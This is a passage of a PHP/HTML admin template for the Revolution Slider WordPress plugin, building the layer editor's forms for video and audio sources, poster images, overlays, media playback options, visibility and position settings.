					<div style="display:none" id="imagelayer_srctype_medialibrary" class="imagelayer_srctype_all"><label_a class="singlerow"><?php _e('Source Type', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="image.media" data-r="behavior.imageSourceType"><option value="auto" selected="selected"><?php _e("Default Setting", 'revslider');?></option><?php foreach ($img_sizes as $imghandle => $imgSize) { echo '<option value="' . $imghandle . '">' . $imgSize . '</option>';}?></select></div>
				</div>
			</div>

			<!-- LAYER VIDEO CONTENT  -->
			<div id="form_layercontent_content_video" class="form_inner open _shfv_ _shfa_">
				<div class="form_inner_header"><i class="material-icons">create</i><?php _e('Media Content', 'revslider');?></div>
				<div class="collapsable">
					<input class="dontseeme layerinput easyinit callEvent" data-evt="resetVideoPlaceholder" data-triggerinp="#layerpostersrctype" data-triggerinpval="nothing" id="layer_video_poster" data-r="media.posterUrl"/>
					<div class="_nsfa_">
						<longoption><i class="material-icons">language</i><label_a ><?php _e('Video from Stream if exist', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.videoFromStream"></longoption>
						<div class="div10"></div>
						<label_a><?php _e('Type', 'revslider');?></label_a>
						<div class="radiooption ">
							<div id="video_layer_youtube" class="video_layer_type_selector"><input value="youtube" type="radio" name="layer_video_type" data-select="#video_layer_youtube" data-unselect=".video_layer_type_selector" data-evt="checkVideoID" data-updateviaevt="true" data-show=".layerbg_*val*_settings" data-hide=".layer_bg_settings" class="layervideocontentradio layerinput easyinit callEvent"  data-r="media.mediaType"><label_sub><?php _e('YouTube Video', 'revslider');?></label_sub></div>
							<div id="video_layer_vimeo" class="video_layer_type_selector"><input value="vimeo" type="radio" name="layer_video_type" data-select="#video_layer_vimeo" data-unselect=".video_layer_type_selector" data-evt="checkVideoID" data-updateviaevt="true" data-show=".layerbg_*val*_settings" data-hide=".layer_bg_settings" class="layervideocontentradio layerinput easyinit callEvent"  data-r="media.mediaType"><label_sub><?php _e('Vimeo Video', 'revslider');?></label_sub></div>
							<div id="video_layer_html5" class="video_layer_type_selector"><input value="html5" type="radio" name="layer_video_type" data-select="#video_layer_html5" data-unselect=".video_layer_type_selector" data-evt="checkVideoID" data-updateviaevt="true" data-show=".layerbg_*val*_settings" data-hide=".layer_bg_settings" class="layervideocontentradio layerinput easyinit callEvent"  data-r="media.mediaType"><label_sub><?php _e('HTML5 Video', 'revslider');?></label_sub></div>
							<div id="video_layer_audio" class="video_layer_type_selector" style="display:none"><input value="audio" type="radio" name="layer_video_type" data-select="#video_layer_audio" data-unselect=".video_layer_type_selector" data-evt="checkVideoID" data-updateviaevt="true" data-show=".layerbg_*val*_settings" data-hide=".layer_bg_settings" class="layerinput easyinit callEvent"  data-r="media.mediaType"><label_sub><?php _e('Audio', 'revslider');?></label_sub></div>
						</div>
						<div class="div25"></div>
					</div>
					<div id="video_id_wrap" class="layerbg_youtube_settings layerbg_vimeo_settings layer_bg_settings">
						<label_a><?php _e('Video ID', 'revslider');?></label_a><div class="input_with_buttonextenstion">
							<input id="layer_youtubevimeo_id" data-evt="checkVideoID" class="layerinput easyinit" type="text" data-r="media.id" placeholder="<?php _e('Enter Video ID', 'revslider');?>">
							<div class="buttonextenstion"><div class="basic_action_button  callEventButton onlyicon dark_action_button" data-evt="checkVideoID"><i class="material-icons">sync_problem</i></div></div>
						</div>
					</div>
					<div id="" class="layerbg_audio_settings layer_bg_settings">
						<label_a><?php _e('MPEG', 'revslider');?></label_a><input id="layer_mpegaudio_src" data-evt="" class="layerinput easyinit nmarg" type="text" data-r="media.audioUrl" placeholder="<?php _e('Enter MPEG Source', 'revslider');?>">
						<label_a></label_a><div id="audio_layer_media_library_button" data-evt="checkforaudiolayer" data-mediatype="audio" data-rid="media.id" data-target="#layer_mpegaudio_src" class="getVideoFromMediaLibrary basic_action_button layerinput longbutton callEventButton"><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
					</div>
					<div id="" class="layerbg_html5_settings layer_bg_settings">
						<label_a><?php _e('MPEG', 'revslider');?></label_a><input id="layer_mpeg_src" data-evt="updatelayerpostermpeg" class="layerinput easyinit nmarg callEvent" type="text" data-r="media.mp4Url" placeholder="<?php _e('Enter MPEG Source', 'revslider');?>">
						<label_a></label_a><div id="video_layer_media_library_button" data-evt="" data-rid="media.id" data-target="#layer_mpeg_src" class="getVideoFromMediaLibrary basic_action_button layerinput longbutton  callEventButton"><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
						<label_a></label_a><div  id="video_layer_object_library_button" data-evt="updatelayerimagesrc" data-target="#layer_mpeg_src" data-r="media.mp4Url" class="getVideoFromObjectLibrary basic_action_button layerinput longbutton callEventButton"><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>
						<longoption><i class="material-icons">aspect_ratio</i><label_a><?php _e('Video Fit Cover', 'revslider');?></label_a><input type="checkbox"  id="video_layer_fit_cover" class="layerinput easyinit" data-r="media.fitCover"/></longoption>
					</div>
					<div class="div15"></div>
					<div id="" class="layerbg_html5_settings layerbg_audio_settings layer_bg_settings">
						<!--<div class="_nsfa_">-->
							<!--<label_a><?php _e('WEBM', 'revslider');?></label_a><div class="input_with_buttonextenstion"><input id="layer_webm_src" data-evt="" class="layerinput easyinit nmarg" type="text" data-r="media.webmUrl" placeholder="<?php _e('Optional WEBM Source', 'revslider');?>"><div data-evt="" data-target="#layer_webm_src" class="getVideoFromMediaLibrary dark_action_button basic_action_button onlyicon layerinput  callEventButton"><i class="material-icons">style</i></div></div>-->
							<!--<label_a><?php _e('OGV', 'revslider');?></label_a><div class="input_with_buttonextenstion"><input id="layer_ogv_src" data-evt="" class="layerinput easyinit nmarg" type="text" data-r="media.ogvUrl" placeholder="<?php _e('Optional OGV Source', 'revslider');?>"><div data-evt="" data-target="#layer_ogv_src" class="getVideoFromMediaLibrary dark_action_button basic_action_button  layerinput onlyicon  callEventButton"><i class="material-icons">style</i></div></div>-->
						<!--</div>-->
						<label_a><?php _e('Preload', 'revslider');?></label_a><select id="layer_media_preload" class="layerinput tos2 nosearchbox easyinit" data-r="media.preload" ><option value="auto" selected="selected"><?php _e('auto', 'revslider');?></option><option value="none"><?php _e('Disabled', 'revslider');?></option><option  value="metadata"><?php _e('Meta Data', 'revslider');?></option></select>
						<div class="_shfa_">
							<label_a><?php _e('Skip Preload', 'revslider');?></label_a><select id="layer_media_preload_wait" class="layerinput tos2 nosearchbox easyinit" data-r="media.preloadWait" ><option value="0">0 sec</option><option value="1">1 sec</option><option  value="2">2 sec</option><option  value="3">3 sec</option><option  value="4">4 sec</option><option selected="selected" value="5">5 sec</option><option  value="6">6 sec</option><option  value="7">7 sec</option><option  value="8">8 sec</option><option  value="9">9 sec</option><option  value="10">10 sec</option></select>
						</div>
					</div>
					<div class="_nsfa_">
						<label_a><?php _e('Aspect Ratio', 'revslider');?></label_a><div class="input_with_buttonextenstion"><select id="layer_video_layeraspectratio" class="layerinput tos2 nosearchbox easyinit"  data-r="media.ratio"><option value="16:9"><?php _e('16:9', 'revslider');?></option><option value="4:3"><?php _e('4:3', 'revslider');?></option><option value="1.85:1"><?php _e('1.85:1', 'revslider');?></option><option value="2.39:1"><?php _e('2.39:1', 'revslider');?></option></select>
							<div class="buttonextenstion">
								<div class="basic_action_button onlyicon callEventButton dark_action_button" data-evt="syncVideoRatio"><i class="material-icons">sync_problem</i></div>
							</div>
						</div>
					</div>
					
					<label_a><?php _e('Auto Play', 'revslider');?></label_a><select id="layer_video_autoplay" class="layerinput tos2 nosearchbox easyinit" data-r="media.autoPlay" ><option value="false" selected="selected"><?php _e('Off', 'revslider');?></option><option value="true"><?php _e('On', 'revslider');?></option><option value="1sttime"><?php _e('Only 1st Time Slide shown', 'revslider');?></option><option value="no1sttime"><?php _e('On - Skip 1st Time Slide', 'revslider');?></option></select><span class="linebreak"></span>		
				</div>
			</div>

			<!-- LAYER VIDEO POSTER CONTENT  -->
			<div id="form_layercontent_content_videoposter" class="form_inner open _shfv_">
				<div class="form_inner_header"><i class="material-icons">filter_hdr</i><?php _e('Media Poster', 'revslider');?></div>
				<div class="collapsable">
					<longoption><i class="material-icons">language</i><label_a ><?php _e('Poster from Stream if exist', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.posterFromStream"></longoption>
					<div class="div10"></div>
					<div id="" class="layerbg_youtube_settings layer_bg_settings">
						<label_a><?php _e('Poster Image', 'revslider');?></label_a><div data-r="media.posterUrl" class="getLayerImageFromYouTube basic_action_button longbutton"><i class="material-icons">ondemand_video</i><?php _e('YouTube Thumb', 'revslider');?></div>
					</div>

					<div id="" class="layerbg_vimeo_settings layer_bg_settings">
						<label_a><?php _e('Poster Image', 'revslider');?></label_a><div data-r="media.posterUrl" class="getLayerImageFromVimeo basic_action_button longbutton"><i class="material-icons">ondemand_video</i><?php _e('Vimeo Thumb', 'revslider');?></div>
					</div>
					<div id="" class="layerbg_html5_settings layer_bg_settings">
						<label_a><?php _e('Poster Image', 'revslider');?></label_a><div data-evt="gethtml5posterimage" data-evtparam="layer" class="basic_action_button longbutton callEventButton"><i class="material-icons">linked_camera</i><?php _e('Get Start Frame', 'revslider');?></div>
					</div>
					<label_a></label_a><div data-evt="updatelayerimagesrc" data-r="media.posterUrl" data-rid="media.posterId" data-sty="behavior.imageSourceType" data-lib="media.imageLib" class="getImageFromMediaLibrary layerinput basic_action_button longbutton"><i class="material-icons">style</i><?php _e('Media Library', 'revslider');?></div>
					<label_a></label_a><div id="image_videoposter_object_library_button" data-evt="updatelayerimagesrc" data-r="media.posterUrl" data-rid="media.posterId" data-sty="behavior.imageSourceType" data-lib="media.imageLib" class="getImageFromObjectLibrary basic_action_button longbutton layerinput"><i class="material-icons">camera_enhance</i><?php _e('Object Library', 'revslider');?></div>
					<!--<label_a></label_a><div id="image_videoposter_stream_button" data-evt="updatelayerimagesrc" data-r="media.posterUrl" data-rid="media.posterId" class="getImageFromStream basic_action_button longbutton layerinput"><i class="material-icons">language</i><?php _e("From Stream", 'revslider');?></div>-->
					<label_a></label_a><div data-r="media.posterUrl" data-rid="media.posterId" data-sty="behavior.imageSourceType" data-lib="media.imageLib"  class="removeLayerPoster basic_action_button layerinput longbutton callEventButton"><i class="material-icons">delete</i><?php _e('Remove Poster', 'revslider');?></div>
					<div class="div10"></div>
					
					<!-- USED LIBRARY TYPE-->
					<div style="display:none"><label_a class="singlerow"><?php _e('Used Library', 'revslider');?></label_a><select class="layerinput easyinit" id="layerpostersrctype" data-r="media.imageLib" data-show="#posterlayer_srctype_*val*" data-hide=".posterlayer_srctype_all" data-showprio="show"><option value="nothing">Nothing</option><option value="">Nothing</option><option value="objectlibrary">Objectlibrary</option><option value="medialibrary">MediaLibrary</option></select></div>					
					<!-- SIZE / SRC PICKER FOR CURRENT USED LIBRARY TYPE-->
					<div id="posterlayer_srctype_objectlibrary" class="posterlayer_srctype_all"><label_a class="singlerow"><?php _e('Image Size', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="poster.object" data-r="behavior.imageSourceType"><option value="100" selected="selected"><?php _e("Original", 'revslider');?></option><option value="75" selected="selected"><?php _e("Large", 'revslider');?></option><option value="50" selected="selected"><?php _e("Medium", 'revslider');?></option><option value="25" selected="selected"><?php _e("Small", 'revslider');?></option><option value="10" selected="selected"><?php _e("Extra Small", 'revslider');?></option></select></div>
					<div id="posterlayer_srctype_medialibrary" class="posterlayer_srctype_all"><label_a class="singlerow"><?php _e('Source Type', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="poster.media" data-r="behavior.imageSourceType"><option value="auto" selected="selected"><?php _e("Default Setting", 'revslider');?></option><?php foreach ($img_sizes as $imghandle => $imgSize) { echo '<option value="' . $imghandle . '">' . $imgSize . '</option>';}?></select></div>
					
					<div class="div10"></div>
					<longoption><i class="material-icons">pause</i><label_a><?php _e('Poster in Pause', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.posterOnPause"></longoption>
					<longoption><i class="material-icons">phonelink_erase</i><label_a><?php _e('No Poster on Mobile', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.disableOnMobile"></longoption>
					<longoption><i class="material-icons">smartphone</i><label_a><?php _e('Only Poster on Mobile', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.posterOnMobile"></longoption>
				</div>
			</div>
			<!-- LAYER VIDEO POSTER CONTENT  -->
			<div id="form_layercontent_content_videooverlay" class="form_inner open _shfv_ _shfa_">
				<div class="form_inner_header"><i class="material-icons">filter_hdr</i><?php _e('Overlay', 'revslider');?></div>
				<div class="collapsable">
					<div class="_nsfa_">
						<!-- SLIDE VIDEO OVERLAY -->
							<label_a><?php _e('Overlay', 'revslider');?></label_a><select data-evt="updateslidebasic" id="layer_dotted_overlay" class="dottedoverlay layerinput tos2 nosearchbox easyinit callEvent" data-r="media.dotted"></select>
							<label_a><?php _e('Size', 'revslider');?></label_a><input data-numeric="true" data-allowed="none" data-min="0"  data-r="media.dottedSize" data-evt="drawBGOverlay"  type="text"  class="layerinput valueduekeyboard  easyinit callEvent" placeholder="none" >
							<label_a><?php _e('Color 1', 'revslider');?></label_a><input type="text" data-editing="Video Overlay Color 1" data-evt="updateslidebasic" name="layervideooverlaycolor_a" id="layervideooverlaycolor_a" class="my-color-field layerinput easyinit" data-visible="true" data-r="media.dottedColorA" value="transparent">
							<label_a><?php _e('Color 2', 'revslider');?></label_a><input type="text" data-editing="Video Overlay Color 2" data-evt="updateslidebasic" name="layervideooverlaycolor_b" id="layervideooverlaycolor_b" class="my-color-field layerinput easyinit" data-visible="true" data-r="media.dottedColorB" value="transparent">						
					</div>
				</div>
			</div>
			<!-- LAYER VIDEO SETTINGS -->
			<div id="form_layercontent_content_video_adv" class="form_inner open _shfv_ _shfa_ layerbg_youtube_settings layerbg_vimeo_settings layer_bg_settings">
				<div class="form_inner_header"><i class="material-icons">video_library</i><?php _e('Advanced Media Settings', 'revslider');?></div>
				<div class="collapsable">
					<longoption><i class="material-icons">stop</i><label_a ><?php _e('Stop Other Media', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.stopAllVideo"></longoption>
					<longoption class="_nsfa_"><i class="material-icons">fullscreen</i><label_a ><?php _e('Allow Fullscreen', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.allowFullscreen"></longoption>
					<longoption><i class="material-icons">pause</i><label_a ><?php _e('Pause Timer during Play', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.pausetimer"></longoption>
					<longoption><i class="material-icons">loop</i><label_a ><?php _e('Loop Media', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.loop" id="layer_media_loop" data-change="layer_media_nextslideaten" data-changeto="false" data-changewhennot="false"></longoption>					
					<longoption><i class="material-icons">skip_next</i><label_a ><?php _e('Next Slide at End', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.nextSlideAtEnd" id="layer_media_nextslideaten" data-change="layer_media_loop" data-changeto="false" data-changewhennot="false"></longoption>
					<longoption><i class="material-icons">fast_rewind</i><label_a ><?php _e('Rewind at Start', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.forceRewind"></longoption>
					<longoption class="_nsfa_"><i class="material-icons">play_for_work</i><label_a><?php _e('No Interaction', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput callEvent" data-updateviaevt="true" data-evt="disableAllMediaControls" data-r="media.nointeraction" data-showhide="#mediacontroloptions" data-showhidedep="false"></longoption>
					<div id="mediacontroloptions">
						<longoption><i class="material-icons">videogame_asset</i><label_a ><?php _e('Controls', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput callEvent mediacontroloption" data-updateviaevt="true" data-evt="audioControlOnOff" id="mediacontrols" data-r="media.controls"></longoption>
						<longoption class="layerbg_html5_settings layer_bg_settings"><i class="material-icons">keyboard</i><label_a><?php _e('Large Controls', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput mediacontroloption" data-id="medialargecontrol" data-r="media.largeControls"></longoption>
					</div>
					<longoption class="_nsfa_"><i class="material-icons">featured_video</i><label_a ><?php _e('Inline Mode', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.playInline"></longoption>
					<longoption class="_nsfa_"><i class="material-icons">volume_mute</i><label_a><?php _e('Mute at Start', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-r="media.mute"></longoption>
					<div class="div15"></div>
					<row class="directrow">
						<onelong><label_icon class="ui_volume"></label_icon><input id="layer_video_volume" data-allowed="" data-numeric="true" data-min="0" data-max="100" class="layerinput easyinit" type="text" data-r="media.volume" placeholder="<?php _e('Media Volume (0-100)', 'revslider');?>"></onelong>
						<oneshort class="layerbg_youtube_settings layer_bg_settings"><label_icon class="ui_speed"></label_icon><select id="layer_media_speed" class="layerinput tos2 nosearchbox easyinit" data-r="media.speed" ><option value="0.25"><?php _e('1/4', 'revslider');?></option><option value="0.50"><?php _e('1/2', 'revslider');?></option><option selected="selected" value="1"><?php _e('Normal', 'revslider');?></option><option value="1.5"><?php _e('x1.5', 'revslider');?></option><option value="2.0"><?php _e('x2', 'revslider');?></option></select></oneshort>
					</row>
					<row class="directrow">
						<onelong><label_icon class="ui_startat"></label_icon><input id="layer_video_start" class="layerinput easyinit callEvent" data-evt="updateaudiorange" type="text" data-r="media.startAt" placeholder="<?php _e('i.e. 0:15', 'revslider');?>"></onelong>
						<oneshort><label_icon class="ui_endat"></label_icon><input id="layer_video_end" class="layerinput easyinit callEvent" data-evt="updateaudiorange" type="text" data-r="media.endAt" placeholder="<?php _e('i.e. 2:41', 'revslider');?>"></oneshort>
					</row>

					<div id="media_audio_wave_wrap">
						<div id="audio_simulator" data-states="play,stop" data-start_state="play" data-stop="listenAudioMaster" data-stop_state="" data-stop_icon="stop" data-play="muteAudioMaster" data-play_state="" data-play_icon="play_arrow" class="disabled basic_action_button onlyicon switch_button" data-state="play"><i class="switch_button_icon material-icons">play_arrow</i><span class="switch_button_state"></span></div>
						<div id="media_audio_master"></div>
					</div>
				</div>
			</div>

			<!-- LAYER VIDEO ARGUMENTS-->
			<div id="form_layercontent_content_video_attr" class="layerbg_youtube_settings layerbg_vimeo_settings layer_bg_settings form_inner open _shfv_ _nsfa_">
				<div class="form_inner_header"><i class="material-icons">video_library</i><?php _e('Arguments', 'revslider');?></div>
				<div class="collapsable">
					<label_a><?php _e('Arguments', 'revslider');?></label_a><input id="layer_video_arg" class="layerinput easyinit" type="text" data-r="media.args" placeholder="Leave Empty for Default"><span class="linebreak"></span>
					<label_a></label_a><div data-evt="" class="resetVideoArguments basic_action_button layerinput longbutton callEventButton"><i class="material-icons">settings_backup_restore</i><?php _e('Reset', 'revslider');?></div>
				</div>
			</div>

			<!-- LAYER SHAPE CONTENT
			<div id="form_layercontent_content" class="form_inner open _shfs_">
				<div class="form_inner_header"><i class="material-icons">crop_landscape</i><?php _e('Shape Layer Content', 'revslider');?></div>
				<div class="collapsable">
				</div>
			</div>-->

			<!-- DISPLAY MODE IN COLUMN -->
			<div id="form_layercontent_content_column_display" class="form_inner open  _shflic_ _homs_">
				<div class="form_inner_header"><i class="material-icons">reorder</i><?php _e('Display Mode in Column', 'revslider');?></div>
				<div class="collapsable">
					<label_a><?php _e('Display', 'revslider');?></label_a><select id="layer_displaymode" class="layerinput tos2 nosearchbox easyinit"  data-r="idle.display"><option value="block" selected="selected"><?php _e('Block', 'revslider');?></option><option value="inline-block"><?php _e('Inline-Block', 'revslider');?></option></select>
					<label_a><?php _e('Float', 'revslider');?></label_a><select id="layer_floatmode" class="layerinput tos2 nosearchbox easyinit"   data-r="idle.float.#size#.v"><option value="none" selected="selected"><?php _e('None', 'revslider');?></option><option value="left"><?php _e('Left', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select>
					<label_a><?php _e('Clear', 'revslider');?></label_a><select id="layer_clearmode" class="layerinput tos2 nosearchbox easyinit"  data-r="idle.clear.#size#.v"><option value="none" selected="selected"><?php _e('None', 'revslider');?></option><option value="left"><?php _e('Left', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option><option value="both"><?php _e('Both', 'revslider');?></option></select>
					<div class="div10"></div>					
					<div data-pos="before" data-helpkey="linebreak_before" style="text-align:left" class="add_linebreak basic_action_button longbutton layerinput rightbutton"><i class="material-icons">vertical_align_top</i><?php _e('Add LineBreak Before', 'revslider');?></div><linebreak></linebreak>
					<div data-pos="after" data-helpkey="lineabreak_after" style="text-align:left" class="add_linebreak basic_action_button longbutton layerinput rightbutton"><i class="material-icons">vertical_align_bottom</i><?php _e('Add LineBreak After', 'revslider');?></div><linebreak></linebreak>					
				</div>
			</div>

			<!-- LAYER CONTENT TAG -->
			<div id="form_layercontent_tag" class="form_inner open _nsfr_ _nsfc_">
				<div class="form_inner_header"><i class="material-icons">code</i><?php _e('HTML Tag', 'revslider');?></div>
				<div class="collapsable">
					<label_a><?php _e('Wrapping Tag', 'revslider');?></label_a><select id="layer_htmltag" class="layerinput tos2 nosearchbox easyinit" data-r="htmltag"><option value="div" selected="selected"><?php _e('&lt;rs-layer&gt;', 'revslider');?></option><option value="p"><?php _e('&lt;p&gt;', 'revslider');?></option><option value="h1"><?php _e('&lt;h1&gt;', 'revslider');?></option><option value="h2"><?php _e('&lt;h2&gt;', 'revslider');?></option><option value="h3"><?php _e('&lt;h3&gt;', 'revslider');?></option><option value="h4"><?php _e('&lt;h4&gt;', 'revslider');?></option><option value="h5"><?php _e('&lt;h5&gt;', 'revslider');?></option><option value="h6"><?php _e('&lt;h6&gt;', 'revslider');?></option><option value="span"><?php _e('&lt;span&gt;', 'revslider');?></option></select>
				</div>
			</div>

			<!-- LAYER CONTENT CONVERT -->
			<div id="form_layercontent_convert" class="form_inner open _nsfr_ _nsfc_ _nsfs_ _nsfa_">
				<div class="form_inner_header"><i class="material-icons">swap_horizontal_circle</i><?php _e('Convert Layer Type', 'revslider');?></div>
				<div class="collapsable">					
					<div data-into="button" class="_shoft_ convert_layer_into basic_action_button layerinput longbutton rightbutton"><i class="material-icons">swap_horizontal_circle</i>Convert to Button</div>
					<div data-into="text" class="_shofb_ convert_layer_into basic_action_button layerinput longbutton rightbutton"><i class="material-icons">swap_horizontal_circle</i>Convert to Text</div>
					<div data-into="video" class="_shfi_ convert_layer_into basic_action_button layerinput longbutton rightbutton"><i class="material-icons">swap_horizontal_circle</i>Convert to Video</div>
					<div data-into="image" class="_shfv_ convert_layer_into basic_action_button layerinput longbutton rightbutton"><i class="material-icons">swap_horizontal_circle</i>Convert to Image</div>
				</div>
				<div class="div50"></div>
			</div>

		</div>
	</div><!-- END OF LAYER CONTENT CONTAINER -->

	<!-- LAYER STATIC SETTINGS -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_static"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_14" data-unselect=".layer_submodule_trigger">
			<!--<div class="collectortabwrap"><div id="collectortab_form_layer_static" class="collectortab form_menu_inside" data-forms='["#form_layer_static"]'><i class="material-icons">album</i><?php _e('Global Layer Settings', 'revslider');?></div></div>-->


			<!-- LAYER STATIC basic SETTINGS-->
			<div id="form_layer_static_basic" class="form_inner open _nsfr_ _nsfc_">
				<div class="form_inner_header"><i class="material-icons">album</i><?php _e('Global Layer Settings', 'revslider');?></div>
				<div class="collapsable">
					<!--<longoption><i class="material-icons">important_devices</i><label_a><?php _e('Layer is Global', 'revslider');?></label_a><input type="checkbox"  data-showhide="#global_layer_settings_wrap" data-updateviaevt="true" data-evt="globalLayerSettingUpdate" id="layer_globalLayer" class="layerinput easyinit callEvent" data-r="static.isStatic" /></longoption>-->
					<div id="global_layer_settings_wrap">
						<label_icon class="ui_easing_in singlerow"></label_icon><select id="staticlayer_Startindex" class="layerinput tos2 nosearchbox easyinit"  data-r="timeline.static.start"><option value="1" selected="selected">1</option><option value="2">2</option><option value="3">3</option></select>
						<label_icon class="ui_easing_out singlerow"></label_icon><select id="staticlayer_Endindex" class="layerinput tos2 nosearchbox easyinit"  data-r="timeline.static.end"><option value="2" selected="selected">2</option><option value="3">3</option><option value="4">4</option><option value="last"><?php _e('Last Slide', 'revslider');?></option></select>
					</div>
				</div>
			</div>


		</div>
	</div>

	<!-- LAYER RESPONSIVENESS -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_visibility"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_13" data-unselect=".layer_submodule_trigger">
			<!-- LAYER CONTENT VISIBILITY -->
			<div id="form_layercontent_visibility" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">visibility</i><?php _e('Visibility', 'revslider');?></div>
				<div class="collapsable">
					<row class="directrow">
						<onelong><label_icon class="ui_desktop"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="visibility.d"></onelong>
						<oneshort><label_icon class="ui_notebook"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="visibility.n" ></oneshort>
					</row>
					<row class="directrow">
						<onelong><label_icon class="ui_tablet"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="visibility.t" ></onelong>
						<oneshort><label_icon class="ui_mobile"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="visibility.m" ></oneshort>
					</row>

					<longoption><i class="material-icons">settings_ethernet</i><label_a><?php _e('Hide "Under" Width', 'revslider');?></label_a><input type="checkbox"  id="layer_visibility_hideunder" class="layerinput easyinit" data-r="visibility.hideunder" /></longoption>
					<longoption><i class="material-icons">center_focus_strong</i><label_a><?php _e('Show if mouse over Slider', 'revslider');?></label_a><input type="checkbox"  id="layer_visibility_showonover" class="layerinput easyinit" data-r="visibility.onlyOnSlideHover" /></longoption>
					<div class="_lavoc_ _lavoc_individual"><longoption class="carouselavailable standardunavailable sceneunavailable"><i class="material-icons">view_carousel</i><label_a><?php _e('Always Visible on Carousel', 'revslider');?></label_a><input type="checkbox"  id="layer_visibility_oncarousel" class="layerinput easyinit" data-r="visibility.alwaysOnCarousel" /></longoption></div>
				</div>
			</div>
		</div>
	</div>

	<!-- LAYER POSITION CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_position"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_2" data-unselect=".layer_submodule_trigger">			
			
			<!-- LAYER POSITION basic -->
			<div id="form_staticlayerposition_basic" class="form_inner open _nsfc_ _nsfr_ _nflic_">
				<div class="form_inner_header"><i class="material-icons">zoom_out_map</i><?php _e('Static Layer Depth', 'revslider');?></div>
				<div class="collapsable ">
					<label_a><?php _e('Force Z Depth', 'revslider');?></label_a><select id="staticlayer_zposition" class="layerinput tos2 nosearchbox easyinit"  data-r="position.staticZ"><option value="default" selected="selected"><?php _e('Static Slide based', 'revslider');?></option><option value="front"><?php _e('Force Front', 'revslider');?></option><option value="back"><?php _e('Force Back', 'revslider');?></option></select>
				</div>
			</div>

			<!-- LAYER POSITION basic -->
			<div id="form_layerposition_basic" class="form_inner open _nsfc_">
				<div class="form_inner_header"><i class="material-icons">zoom_out_map</i><?php _e('Position & Size', 'revslider');?></div>
				<div class="collapsable ">
					<div id="rs-align-buttons" class="_nfr_ _nflic_">
						<!-- LAYER ALIGN ICON BASED SETTINGS-->
						<select style="display:none !important" id="layer_pos_halign" data-unselect=".layer_hor_selector" data-select="#layer_hor_*val*" class="layerinput easyinit" data-responsive="true" data-r="position.horizontal.#size#.v" data-triggerinp="#layer_pos_x" data-triggerinpval="0"><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select>
						<select style="display:none !important" id="layer_pos_valign" data-unselect=".layer_ver_selector" data-select="#layer_ver_*val*" class="layerinput easyinit" data-responsive="true" data-r="position.vertical.#size#.v" data-triggerinp="#layer_pos_y" data-triggerinpval="0"><option value="top"><?php _e('Top', 'revslider');?></option><option value="middle"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select>
						<row>
							<onelabel><label_a><?php _e('Alignment', 'revslider');?></label_a></onelabel>
							<oneshort><label_icon class="triggerselect ui_leftalign layer_hor_selector" data-select="#layer_pos_halign" data-val="left" id="layer_hor_left"></label_icon><label_icon class="triggerselect ui_centeralign layer_hor_selector" data-select="#layer_pos_halign" data-val="center" id="layer_hor_center"></label_icon><label_icon class="triggerselect ui_rightalign layer_hor_selector" data-select="#layer_pos_halign" data-val="right" id="layer_hor_right"></label_icon></oneshort>
							<oneshort class="lp10"><label_icon class="triggerselect ui_topalign layer_ver_selector" data-select="#layer_pos_valign" data-val="top" id="layer_ver_top"></label_icon><label_icon class="triggerselect ui_middlealign layer_ver_selector" data-select="#layer_pos_valign" data-val="middle" id="layer_ver_middle"></label_icon><label_icon class="triggerselect ui_bottomalign layer_ver_selector" data-select="#layer_pos_valign" data-val="bottom" id="layer_ver_bottom"></label_icon></oneshort>
						</row>
					</div>
					<row class="directrow _nfr_ _nfc_ _nflic_">
						<onelong><label_icon class="ui_x"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px" data-responsive="true" data-numeric="true" data-r="position.x.#size#.v" data-min="-3000" data-max="3000" type="text" id="layer_pos_x"></onelong>
